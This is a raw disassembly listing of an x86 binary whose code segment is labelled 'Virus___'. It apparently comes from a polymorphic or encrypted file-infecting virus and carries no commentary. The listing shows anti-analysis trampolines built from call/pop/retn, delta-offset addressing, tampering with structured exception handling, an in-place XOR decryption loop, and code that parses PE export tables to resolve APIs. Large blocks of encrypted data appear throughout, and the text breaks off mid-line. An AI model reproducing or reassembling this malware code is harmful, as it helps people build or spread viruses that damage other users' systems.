89F0BD4Fh xchg eax, ebp aad 14h pop ebp or [eax+60h], edx jmp loc_5A32D3 ; --------------------------------------------------------------------------- db 97h, 0BFh, 79h dd 62FC872Eh, 0DF1CC020h, 18DF5CD8h db 2 dup(92h), 0D4h ; --------------------------------------------------------------------------- loc_5A32D3: ; CODE XREF: Virus___:005A32BCj popa mov [esp], eax push 0 push edi call sub_5A32E2 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A32E2 proc near ; CODE XREF: Virus___:005A32DAp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5A32E2 endp ; --------------------------------------------------------------------------- dw 9367h ; --------------------------------------------------------------------------- clc loc_5A32F5: ; CODE XREF: Virus___:005A333Bj mov edi, 6ABEDBD0h pusha or ebx, [ebp+95D26A1h] popa jmp loc_5A3317 ; --------------------------------------------------------------------------- db 0ECh dd 2E12E538h, 58D36FAAh, 0F5214C1h db 6Eh, 0D5h, 72h ; --------------------------------------------------------------------------- loc_5A3317: ; CODE XREF: Virus___:005A3302j ; Virus___:005A334Dj cmc push large dword ptr fs:0 push 0 push eax call sub_5A332A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A332A proc near ; CODE XREF: Virus___:005A3322p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5A332A endp ; --------------------------------------------------------------------------- pop ebp jbe short loc_5A32F5 mov cl, 7Eh or [ebx], ebp jmp loc_5A335A ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- movsd mov ebx, 0B3539721h jo short loc_5A3317 add [edx+9FE5374h], esi stosd rcl dword ptr [esp+edx], cl cmpsd loc_5A335A: ; CODE XREF: Virus___:005A3341j mov [ebp+95D0381h], edx mov eax, [esp] push 0 push ebp call sub_5A336E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A336E proc near ; CODE XREF: Virus___:005A3366p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5A336E endp ; --------------------------------------------------------------------------- dw 7E6Eh dd 61BA9128h, 0E9C83D49h, 8, 67F9F7E4h, 6E19C58Dh, 234DBD01h dd 8589095Dh, 95D2721h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 34C35545h, 1D99B059h, 0F5F653ACh, 258964h dd 60000000h, 31C8B70Fh, 5D08B59Dh, 858D6109h, 9608957h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0A4C35040h dd 0A352A0A2h, 858B603Fh, 95D1955h, 1CD1B589h, 0F961095Dh dd 6A016089h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0D50C352h, 71958957h, 0F095D02h dd 118Bh, 0B8C0F00h, 0E9000000h, 6, 0E4FA6AD3h, 0F0E9CD4Ch dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 426CC351h, 0CCC53EFDh, 8529710Eh dd 95D0FCDh, 0E8DB8BFCh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 9608950h mov esp, 12FF9Ch cmp dword ptr [ebp+95D0315h], 0 jz short loc_5A34AD mov eax, [ebp+95D2215h] mov byte ptr [eax], 0 mov eax, [ebp+95D2511h] mov byte ptr [eax], 0 call dword ptr [ebp+95D02BDh] loc_5A34AD: ; CODE XREF: Virus___:005A3493j pusha push dword ptr [ebp+96071E8h] lea eax, [ebp+96071ECh] push eax lea eax, [ebp+96073E4h] push eax call dword ptr [ebp+95D111Dh] add esp, 0Ch popa jb loc_5A34D8 xor [ebp+95D031Dh], edi loc_5A34D8: ; CODE XREF: Virus___:005A34CCj mov [ebp+95D3245h], edi lea esi, [ebp+96073E4h] push 0 push ecx call sub_5A34EF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A34EF proc near ; CODE XREF: Virus___:005A34E7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5A34EF endp ; --------------------------------------------------------------------------- cmp eax, edi dec eax cmc lea edi, [ebp+95D0CF5h] push 0 push eax call sub_5A3514 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A3514 proc near ; CODE XREF: Virus___:005A350Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5A3514 endp ; --------------------------------------------------------------------------- dd 0DF7D860h, 0A1ABC724h, 11E9EEF1h, 7E000000h, 0C45F566Eh dd 8ED8D18Fh, 7625B61Bh, 0EB645950h, 0F003E80h, 4C84h dd 41958900h, 0A4095D29h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 80C35343h, 370F11B9h, 0FFFFCBE9h, 50006AFFh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0BE527D00h, 6AC02BF8h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0B14EC352h, 13E9B134h dd 3D000000h, 99770B77h, 7DF31FAh, 0F3969E9h, 152F0BCFh dd 0E9AA834Fh, 6, 0F1A6E9FAh, 7B881E5h, 0F8000000h, 6CE88160h dd 8B439CF4h, 5D16F98Dh, 85C76109h, 95D219Dh, 1, 0C318529h dd 9D09095Dh, 95D1A75h, 4D928D8Dh, 0FFF8095Dh, 5C8BF8E1h dd 0E8550C24h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 9608AECh mov eax, [ebx+0B8h] mov [ebp+96071E8h], eax lea eax, [ebp+9608949h] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- push 0 push esi call sub_5A364A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A364A proc near ; CODE XREF: Virus___:005A3642p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5A364A endp ; --------------------------------------------------------------------------- dw 4F8Eh dd 498501E2h, 89095D0Ah, 5D22DDBDh, 0C800F09h, 60000000h dd 8448BA66h, 7E98D0Bh, 6A61095Dh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0DFE6C350h dd 608D19A2h, 0B58B5160h, 95D2F35h, 0C8E6815Ah, 6177BFDCh dd 8D54858Dh, 6A0960h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 7EF191C3h, 31990C49h, 9035D23Ch dd 7E9h, 4FF78A00h, 0E8820855h, 0CA8B6050h, 0F2EBE66h dd 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 38CC6FC3h, 0F295445h, 0C80h, 6870F00h, 0F000000h dd 86h, 35FF6400h, 0 ; --------------------------------------------------------------------------- mov [ebp+95D2125h], edi mov large fs:0, esp mov [ebp+95D09C1h], ebx lea eax, [ebp+9608DB1h] stc mov [eax+1], esp push 0 push edx call sub_5A3750 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A3750 proc near ; CODE XREF: Virus___:005A3748p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5A3750 endp ; --------------------------------------------------------------------------- dword_5A3760 dd 331A8D7Ah, 0DDFB025Bh, 6E9F0h, 0EA550000h, 0B50EE8DBh dd 49858B60h, 1095D2Bh, 5D315D8Dh, 85C66109h, 95D3335h dd 6861604Fh, 939D35BEh, 52505250h, 8A0Fh, 310F0000h, 6E9h dd 0B2FA5000h, 5AB5399Fh, 0F310F58h, 287h, 5A616000h, 24348158h dd 6D554194h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 8EC35747h, 0FFE5434h, 178Ch, 12E900h, 9E520000h dd 0BE5A9917h, 2012AF5Bh, 0F4904350h, 46B6DA88h, 815B5FFh dd 6A095Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0F652A5C3h, 0EDDBB575h, 13858DF9h, 0F096076h dd 0C85h, 68D0F00h, 0F000000h, 8Ah, 6AD0FF00h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0E3B5C350h, 0BA609061h, 4EA707F1h, 0DB38C381h, 0E9612831h dd 75h, 13E9h, 50399000h, 0DFCB7942h, 58265CF1h, 0A1D2101Ah dd 72DF765Ah, 0C245C8Bh, 0E855h, 815D0000h, 608D5EEDh dd 0F1858B09h, 89095D08h, 5D081585h, 11858B09h, 89095D07h dd 5D307585h, 5858B09h, 89095D06h, 5D0F9985h, 3585C609h dd 95D33h, 770F85C7h, 960h, 858D0000h, 9608DB1h, 0B88389h dd 335D0000h, 0BD09C3C0h, 95D19F9h, 0FF74BCF5h, 810F0012h dd 0Ch, 68A0Fh, 0B5290000h, 95D2A05h, 0CE816660h, 0FE8AD9Dh dd 4E000000h, 86B61A4Eh, 0ACDA5E64h, 3937AAC6h, 9D8B655Dh dd 95D2645h, 8F646159h, 5, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 64187145h dd 0AE91FB8h, 0C3000000h, 353B0884h, 9E835E7Fh, 4C483D6h dd 0E0BF6660h, 0DB8166F2h, 616130D8h, 83E9h, 52515300h dd 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch dd 45503B81h, 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch dd 1C247403h, 207B8B56h, 31C738Bh, 320247Ch, 0FC202474h dd 41FFC983h, 1C245C8Bh, 5403178Bh, 0C7832024h, 84028A04h dd 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h dd 48B0F04h, 24440386h, 5A5E5F1Ch, 8C25B59h, 0E9C03300h dd 0FFFFFFF1h, 0BE8CA8Bh, 0AA000000h, 0AC5BC517h, 0A6EBFFD1h dd 815321D3h, 217F1CE3h, 81595F01h, 0CB93DDE8h, 6CC18154h dd 81000061h, 0A94621C7h, 0B0D23319h, 0A34FF74h, 528B866h dd 9E9535Eh, 0C5000000h, 0B53AABEAh, 9DBE44AAh, 43F6815Bh dd 8161982Bh, 0D95577EEh, 0D6CCBF13h, 0C6812BC5h, 36207F41h dd 0CE9h, 0C1EC3200h, 0CB8CE920h, 9004DE0h, 11348935h dd 0C3C38166h, 81C28AA9h, 0D20C6EEAh, 0CE924h, 0C6420000h dd 4E378950h, 8A0632C1h, 0C2819243h, 24D20C6Ah, 0EE9h dd 0B8E6C900h, 2D190201h, 6B94A612h, 81DEDC17h, 0FF9F44FAh dd 7A850FFFh, 52FFFFFFh, 0E9585B53h, 148h, 44h, 48h, 4Ch dd 50h, 54h, 58h, 5Ch, 60h, 0A4h, 0A8h, 0ACh, 0B0h, 0B4h dd 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h, 0D4h, 0D8h dd 0DCh, 0E0h, 38h dup(0) dd offset dword_5A3760+3A8h ; --------------------------------------------------------------------------- add eax, edx scasd add [ebp+608F7885h], cl or [edi+347F982Ch], edi mov [ebp+96090B8h], eax movzx edi, dx mov byte ptr [ebp+95D3335h], 54h or edi, 76800CAh push 0BBB7D958h push eax mov di, dx pop esi xor dword ptr [esp], 55D5B171h clc push dword ptr [ebp+95D0815h] jnp loc_5A3C3A ja loc_5A3C3A mov ebx, 4331FA98h loc_5A3C3A: ; CODE XREF: Virus___:005A3C29j ; Virus___:005A3C2Fj lea eax, [ebp+9607613h] add [ebp+95D06F1h], edi call eax mov ecx, [ebp+95D1AADh] add [ebp+95D24B9h], ecx mov [ebp+96090BCh], eax sbb dx, 4EAEh jle loc_5A3C71 jmp loc_5A3C71 ; --------------------------------------------------------------------------- dw 50D9h ; --------------------------------------------------------------------------- mov ds:9131C54h, al loc_5A3C71: ; CODE XREF: Virus___:005A3C5Fj ; Virus___:005A3C65j jmp loc_5A3CC4 ; --------------------------------------------------------------------------- mov esi, [ebp+95D2439h] push esi mov esi, [ebp+96090B8h] mov [esi], eax add dword ptr [ebp+96090B8h], 4 pop esi retn ; --------------------------------------------------------------------------- pusha lea esi, [ebp+9608F78h] jmp short loc_5A3CA6 ; --------------------------------------------------------------------------- loc_5A3C97: ; CODE XREF: Virus___:005A3CA9j push esi push 0 push dword ptr [esi] call dword ptr [ebp+96090BCh] pop esi add esi, 4 loc_5A3CA6: ; CODE XREF: Virus___:005A3C95j cmp dword ptr [esi], 0 jnz short loc_5A3C97 popa retn ; --------------------------------------------------------------------------- pusha or edx, 2DD2D2Ch mov edi, [ebp+95D10F1h] popa mov si, bx mov [ebp+95D0895h], ecx loc_5A3CC4: ; CODE XREF: Virus___:loc_5A3C71j lea eax, [ebp+960915Eh] mov [ebp+95D3359h], ecx mov [ebp+95D1411h], eax call near ptr loc_5A3CDE+4 mov word ptr [edx+6Ah], cs loc_5A3CDE: ; CODE XREF: Virus___:005A3CD6p mov ecx, [ecx-76443B58h] insd fidivr word ptr [ebx] pop edi jmp loc_5A3CF3 ; --------------------------------------------------------------------------- setalc mov cr3, edx fcom st(1) loc_5A3CF3: ; CODE XREF: Virus___:005A3CE8j add edi, 668Fh jmp loc_5A3D06 ; --------------------------------------------------------------------------- lea ebx, [ecx-64E964F0h] sub al, 0C6h loc_5A3D06: ; CODE XREF: Virus___:005A3CF9j mov edx, 1974h mov [ebp+95D0759h], ebx loc_5A3D11: ; CODE XREF: Virus___:005A3D8Bj push dword ptr [edi] jmp loc_5A3D22 ; --------------------------------------------------------------------------- xchg eax, edx dec ebp sub bh, ds:0CA8A47ABh push esi xchg eax, ebx loc_5A3D22: ; CODE XREF: Virus___:005A3D13j pop eax cmc sub eax, 6E0BB4Bh jnp loc_5A3D36 xor ecx, [ebp+95D123Dh] loc_5A3D36: ; CODE XREF: Virus___:005A3D2Aj xor eax, 8FB7842h xor bh, 13h xor eax, 5CEFCD72h add bh, 13h push eax mov si, bx pop dword ptr [edi] jmp loc_5A3D5C ; --------------------------------------------------------------------------- db 78h ; --------------------------------------------------------------------------- aam 6Ch push ecx or eax, 52941F4Eh loc_5A3D5C: ; CODE XREF: Virus___:005A3D4Ej sub edi, 2 mov ecx, eax dec edi dec edi mov ch, ah dec edx jnz loc_5A3D85 movsx esi, di jmp loc_5A3D9E ; --------------------------------------------------------------------------- dd 0CC1A9C8Ch, 0FA74375h, 0C85916Dh, 9DFE7F95h db 0BCh ; --------------------------------------------------------------------------- loc_5A3D85: ; CODE XREF: Virus___:005A3D66j or ebx, 67DF4045h jmp loc_5A3D11 ; --------------------------------------------------------------------------- imul ebp, [edx+42h], 1Bh dec edx scasd retf ; --------------------------------------------------------------------------- db 5 dd 7F33FEBDh db 0CCh db 28h ; --------------------------------------------------------------------------- loc_5A3D9E: ; CODE XREF: Virus___:005A3D6Fj jmp short loc_5A3DEF ; --------------------------------------------------------------------------- dd 0FA251C8Fh, 0C6A108ABh, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h dd 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh dd 0A6DBh, 5 dup(0) dd 87000000h, 2352DDB4h, 9ED920h db 3 dup(0) ; --------------------------------------------------------------------------- loc_5A3DEF: ; CODE XREF: Virus___:loc_5A3D9Ej jmp loc_5A4FB5 ; --------------------------------------------------------------------------- jmp loc_5A3E09 ; --------------------------------------------------------------------------- db 0BDh, 0A4h, 66h dd 0C499597Fh, 93AEEC11h, 959FFE71h db 80h ; --------------------------------------------------------------------------- loc_5A3E09: ; CODE XREF: Virus___:005A3DF4j push ecx push eax mov ecx, [ebp+95D3221h] pop ecx pop ecx cmp dword ptr [ebp+95D0971h], 0 jnz loc_5A3E6D push 0 push ecx call sub_5A3E2B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A3E2B proc near ; CODE XREF: Virus___:005A3E23p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5A3E2B endp ; --------------------------------------------------------------------------- db 6 dd 0A1506E10h, 0B8F9B568h, 0 ; --------------------------------------------------------------------------- mov [ebp+95D1605h], edi retn 4 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5A3E5C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A3E5C proc near ; CODE XREF: Virus___:005A3E54p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5A3E5C endp ; --------------------------------------------------------------------------- db 82h ; --------------------------------------------------------------------------- loc_5A3E6D: ; CODE XREF: Virus___:005A3E1Aj mov eax, eax push 0 push eax call sub_5A3E7A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A3E7A proc near ; CODE XREF: Virus___:005A3E72p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5A3E7A endp ; --------------------------------------------------------------------------- dw 0D332h dd 860F518Dh, 18h, 12E8h, 368B3900h, 9B08E486h, 0A1459FEEh dd 4647A7CBh, 5A1D651Ch, 9BD835Fh, 95D18h, 0BD830975h dd 95D0329h, 50137400h, 0B8C08B53h, 4D0h, 0A8359D8Dh, 0D3FF095Fh dd 0BD83585Bh, 95D0329h, 50117400h, 4D0B853h, 9D8D0000h dd 95FA782h, 585BD3FFh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0D6C35040h, 8952EFDCh, 5D199995h, 6E85F09h dd 0D8000000h, 5C1DC9BEh, 0C08B5A92h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0FC35242h, 8D58D8Bh, 858D095Dh dd 96092B3h, 0E303BA50h, 489577Fh, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0E29A8DFAh dd 8B666D2Dh, 70858DD7h, 0BF096092h, 135EE1C5h, 5066B190h dd 0F890D78Bh, 95FFFA8Bh, 95D2961h, 1C860Fh, 13E80000h dd 6E000000h, 0D9489166h, 585ACBDEh, 0A1C9D9Eh, 0D465BDE2h dd 8B66FD5Bh, 958959C8h, 95D23D5h, 424448Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9AC35646h, 89CFAE30h dd 5D29C1BDh, 9B858909h, 6A096092h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 60A8C353h dd 448BB6B1h, 8D890824h, 95D123Dh, 92AF8589h, 6A0960h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 25694DC3h, 76D8A93Fh, 0B58589CDh, 83095D14h, 5D32B9BDh dd 850F0009h, 17Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 43C35545h, 98C63A42h, 250D8D8Bh, 5660095Dh dd 0DE8h, 0B6225300h, 6E99D39Eh, 0CEC7917Fh, 5958C000h dd 958B61F5h, 95D3121h, 333585C6h, 6A47095Dh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 90B3C356h, 4E8h, 9AA7D200h, 0BCBF52D4h, 59587AD8h, 8BA1B150h dd 0BA042444h, 54E8EF49h, 5250008Bh, 12E9310Fh, 0B1000000h dd 674F3929h, 79A75DF3h, 0B07F4706h, 19E744Fh, 89585AA8h dd 60042444h, 17B5BF57h, 505F583Dh, 615EDE8Bh, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 759589EAh, 0FF095D20h, 5D0815B5h, 8ABF6609h, 13858DD4h dd 6A096076h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 9D1AC351h, 7F7F1C60h, 0FC9F0B8h dd 0E7F5BA66h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 3C0BCEC3h, 0BD8BF7CCh, 95D30D1h dd 32B98589h, 6A095Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 713B04C3h, 42CD23B6h, 10E94ED4h dd 92000000h, 120D6DD3h, 69DB7146h, 0CCDC2D2Bh, 0FB35497h dd 0BD83FAB7h, 95D2A11h, 0D1850F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0D54DC350h, 0CE960h, 43720000h, 9E2AF47Ah, 76641EFFh dd 830F55F1h, 6, 27598589h, 8961095Dh, 5D27B18Dh, 3585C609h dd 47095D33h, 681CF580h, 0D6CB3863h, 52506060h, 585A310Fh dd 0F616160h, 1885h, 13E900h, 55890000h, 0A4EC67A2h, 0DD9D39F7h dd 0C50400F2h, 0B53AABEAh, 348161AAh, 0C48D8124h, 0C87CBF5Ch dd 0B5FF6573h, 95D0815h, 858DCB8Bh, 9607613h, 5E860h, 0F320000h dd 0F95894Eh, 15BF0B7h, 5D2B099Dh, 0CCB26109h, 0BF66D0FFh dd 8589E01Ch, 95D2A11h, 13E9h, 0CD827700h, 0C873924Bh dd 762E260Ah, 7306ED4Bh, 9DEC2EFCh, 2065BD83h, 0F00095Dh dd 0A185h, 69953100h, 0C6095D03h, 5D333585h, 0BA665609h dd 62687226h, 66C069D5h, 812279B9h, 0B85B2434h, 89521476h dd 5D06199Dh, 0B5FF5A09h, 95D0815h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0C5C35040h, 9C46C759h, 13858D94h dd 6A096076h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 8BFAC357h, 6AD0FFF9h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 76ABC352h, 8BD9A98Eh, 658589FAh, 0F095D20h, 85C6CFB7h dd 95D3335h, 50006A6Ch, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 90DAEA4Ah, 33A1EEC5h, 5D32AD8Dh dd 0E5A36809h, 5250B7A8h, 4B4C70BFh, 8B310F4Fh, 81585AD0h dd 8AE02404h, 6A235Ch, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 5B0330C3h, 0D1B70F72h, 8F1B5FFh dd 0BD89095Dh, 95D276Dh, 3973858Dh, 6A095Dh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0D42F64C3h dd 0C60F3AC5h, 29BD89DBh, 0FF095D05h, 51006AD0h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0E9A537E6h, 0Eh, 0F791CFF5h, 4BE4979Ch, 0D3DE31CBh dd 8589C7D9h, 960929Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 56C35242h, 16EBCF6Fh, 0BD83D02Bh, 96092BBh dd 0DA850F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0EADEC352h, 0BB74DA96h dd 66A37636h, 1AA1C181h, 333585C6h, 0E849095Dh, 4, 8C1529E9h dd 97B96650h, 24448B44h, 2BB96604h, 66008B62h, 4489FB8Bh dd 0CF8B0424h, 50006A58h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0B5FF3442h, 95D08F1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5FC35747h dd 254BCE60h, 858D6009h, 95D3973h, 10A9958Bh, 0D0FF095Dh dd 220DB529h, 8B66095Dh, 0BB8589CEh, 6A096092h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0FAA6C351h, 75B58928h, 8B095D07h, 6A046AD3h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0C20FC352h, 4916695Ch, 50B66854h, 0CA8B4D54h, 0B6243481h dd 0E94D5440h, 11h, 62A25EBCh, 0CA38BB56h, 296DD7FCh, 0BD6AECEDh dd 9B5893Dh, 68095D15h, 83B391ADh, 81D18B66h, 6E532404h dd 76B97C4Dh, 0F057B89h, 38Ch, 0FB8B6600h, 6A006Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0E042A1C3h, 0A2C18166h, 0D9816686h, 95FF12F6h, 95D1CE5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0FEC35343h dd 4C68524Fh, 16B96691h, 0AB858931h, 0E9096092h, 7, 6F336E05h dd 0C76FFCC2h, 6092A385h, 9, 0B58D8B00h, 6A095D0Fh, 11E900h dd 2C070000h, 0E40C3E92h, 53C7DC6Eh, 0C87E0EA3h, 68E959AFh dd 1A4FE71h, 3481D38Ah, 0A5FE7124h, 52006A01h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0B5C21EB5h dd 53609037h, 61595856h, 0EE85650h, 0DD000000h, 7801CEF6h dd 1BD70ABBh, 0BA3E9889h, 47BA6638h, 90595907h, 0E853006Ah dd 3 dd 5BC35B20h, 4245C89h, 4244481h, 18h, 0FAC35343h, 753DA402h dd 243D9503h, 840F095Dh, 6, 8258D33h, 0B6A095Dh, 1A0D9529h dd 6057095Dh, 14E9h, 525CDD00h, 0ADAC3727h, 456FAC79h dd 0B8641871h, 0EBA35E1Fh, 0E195099Ah, 61095D03h, 78858D5Fh dd 0F8096092h, 244DB589h, 0E850095Dh, 10h, 0E4E7D30Ch dd 76FDCA9Bh, 0E54E7318h, 0A14268E8h, 8C0F60h, 61000000h dd 2404895Ah, 32B995FFh, 10E9095Dh, 2B000000h, 58B79C17h dd 3DCC4215h, 1EEEB8EDh, 8D0F8385h, 609282B5h, 53006A09h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0FE857F8h, 50000000h, 5942704Dh, 0D5487DC6h, 13734BACh dd 953F9D6h, 5D315D95h, 505A5909h, 0BD7CB966h, 0E9243489h dd 0Ch, 0E6689C5Ah, 1ABA9029h, 1CE034FAh, 0F10FBA90h, 0E9502EDAh dd 12h, 0A4A4CB30h, 62F16D6Fh, 8CFA4283h, 4274E332h, 0B19042B5h dd 1195FF67h, 0F095D2Ah, 388h, 89CA8000h, 850FC00Bh, 48h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 24C35242h dd 0E963C5AFh, 5E7h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0FFC35141h, 0FAE55012h, 5ED4D2F5h, 6AD0FFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0C321AFC3h, 0F8DB531h, 8BF5095Dh, 6092ABB5h, 65958B09h dd 8D095D1Ah, 8A0F2046h, 6, 30F98D29h, 46A095Dh, 0ACEDD781h dd 605039A6h, 5E8h, 0F421600h, 0CAB5A1DEh, 610EB35Fh, 60240489h dd 331B501h, 0D281095Dh, 34E1857Dh, 0BB95FF61h, 0F096092h dd 0C00BD6B7h, 13840Fh, 0B5890000h, 95D2315h, 53AE9h, 0BF98B00h dd 5D0B658Dh, 207E8009h, 28840F00h, 1000005h, 5D0F058Dh dd 0BD316009h, 95D16ADh, 6A20468Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 1B87C353h dd 8589F419h, 96092A7h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0F2C35646h, 6667ED52h, 327F281h, 29098D8Bh dd 0D0E9095Dh, 80000000h, 814016DDh, 122553C7h, 0BF665016h dd 489E818h, 31B58924h, 6A095D14h, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 2568312Dh dd 899C0588h, 5D0585BDh, 0CA8A5009h, 3240489h, 5D18DD95h dd 0BB95FF09h, 8B096092h, 5D1F0DBDh, 66D88B09h, 0BFF896BAh dd 310BB3D3h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 6E1DD302h, 0F1A5BF66h, 5E9h, 0E0107800h dd 0DB0BAD18h, 35840Fh, 81660000h, 0E9AC5BEAh, 41Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 69C35747h, 0D58D8BAFh dd 8B095D25h, 3D9501CBh, 80095D0Ch, 850F0038h, 0FFFFFF2Ah dd 18E9h, 0F7816600h, 830F46B8h, 6, 9DD958Bh, 8948095Dh dd 5D18AD95h, 0A7853B09h, 0F096092h, 4B82h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 819A3C39h, 39FFBBF1h, 5C388062h, 1E840Fh, 0AE90000h dd 7B000000h, 0EBA16578h, 0CAD94C90h, 2F388043h, 0FFA8850Fh dd 958BFFFFh, 95D091Dh, 55006A40h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 6D95AAECh, 9D0C0DEFh dd 0EF8AC0F2h, 92AFBD83h, 0F000960h, 12A84h, 0B9BD2900h dd 50095D27h, 489F98Bh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 7305B94Ch, 3426125h, 6092AF85h dd 998D8B09h, 90095D26h, 0FBBF6660h, 0CE95329h, 8D000000h dd 0F6A4CDA5h, 18135DC7h, 58A96B66h, 5E85061h, 0E5000000h dd 11A14BEAh, 59C88B66h, 8E990h, 